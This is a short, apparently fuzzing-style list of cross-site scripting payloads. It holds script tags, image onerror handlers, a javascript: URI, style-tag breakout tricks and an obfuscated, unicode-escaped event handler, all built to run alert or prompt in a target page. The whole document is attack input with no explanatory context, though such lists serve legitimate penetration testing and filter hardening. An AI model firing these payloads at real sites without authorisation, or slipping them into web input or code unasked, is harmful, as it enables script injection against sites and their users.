<%<!--'%><script>alert(1);</script -->
"><script>alert(123);</script>
"><img src=x onerror=prompt(test)>
"><img src=x onerror=prompt(document.domain);>
javascript:alert(1)
<img/src/onerror=alert(1337)>
<style><script>alert(1)</script></style>
<style></sty</style><style>le><script>alert(1)</script></style>
<fieldset//%00//onsite OnMoUsEoVeR=\u0061\u006C\u0065\u0072\u0074`/